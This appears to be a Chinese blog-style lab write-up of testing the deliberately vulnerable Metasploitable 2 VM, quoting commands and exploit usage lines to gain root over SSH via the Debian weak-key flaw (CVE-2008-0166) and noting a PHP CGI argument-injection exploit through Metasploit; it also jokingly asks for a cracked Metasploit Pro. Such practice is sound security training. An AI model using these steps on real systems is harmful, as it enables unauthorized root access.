metasploitable 2 测试笔记

metasploitable 2 c4rp3nt3r 测试笔记

最近metasploit发布了metasploitable 2,作为一个练习用的linux操作系统. 采用Ubuntu 8.04的OS,搭配各种漏洞,正好满足了广大穷屌丝日益增长的装X和意淫需求.
下载地址: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
metasploit官方的用户指南,详见: https://community.rapid7.com/docs/DOC-1875

孤陋寡闻的我原来没有玩过这么高级的东西,就下载回来测试了下一把.
操起nmap 和 nessus一阵狂扫发现N多服务N多高危漏洞.

metasploitable就好比一道练习题,做题当然要捡自己掌握不好的来做,否则失去做题的意义了.很多一击必中的漏洞和后门都没多大意思,我们对结果不太确定的东西感兴趣.先看看22端口扫描出的漏洞.

Debian OpenSSH/OpenSSL Package Random Number Generator Weakness CVE-2008-0166

既然是metasploitable那么就请metasploit出马吧

搜一下有木有exp

msf > search cve:2008-0166

msf >

尼玛,这个真木有,估计metasploit pro应该有这个exp吧,穷屌丝哪有钱买那个,谁有破解的,真心求.
我擦,穷屌丝只好搜搜exploit-db了.本地搜索的话可以先svn update一下.

挑一个python的exp,打开瞧瞧,就会发现贴心的用法

4  # 1. Download http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
5  #
6  # 2. Extract it to a directory
7  #
8  # 3. Execute the python script
9  #     - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
10  #     - execute: python exploit.py (without parameters) to display the help
11  #     - if the key is found, the script shows something like that:
12  #         Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
13  #          Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240

好吧开干

1 下载私钥
2 wget http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2
3 解压之
4 tar jxvf debian_ssh_rsa_2048_x86.tar.bz2
5 运行exploit尝试私钥登录

等到花儿谢了之后,发现成功了

赶紧试一试.

我勒个去,真登录进去了,这尼玛太也容易了.

继续看看吧,别人公布的利用方法咱就不看了.
看看web目录有些什么菜吧.有一个存在漏洞的的phpMyAdmin.还有一套wiki程序以及一些专门练习web漏洞用的Mutillidae和DVWA.

练习用的太简单了咱就不玩了,TWiki也不好玩,mysql的密码前面nessus已经扫描出来了,web程序也不好玩.扫扫目录看有什么东西没有.
找一个轻量级的perl程序随便扫扫先.结果如下

看看phpinfo.php吧.某国际黑客说除了phpinfo.php啥都没有,其实有时候一个phpinfo.php足够拿个shell了.
看了下是cgi方式运行的php,访问

尼玛这不是那个谁吗,PHP CGI Argument Injection 漏洞啊

这次再请出metasploit出场,你是主角啊,给点力行不?

好吧用metasploit成功了一次.总算没白叫metasploitable.

之后又测试了里面的web漏洞,没什么意思就不写了.啥时候国人搞一个类似的系统呢?放上国产的cms,别放那么多溢出和弱口令,搞个游戏或者竞赛其实挺好玩的.
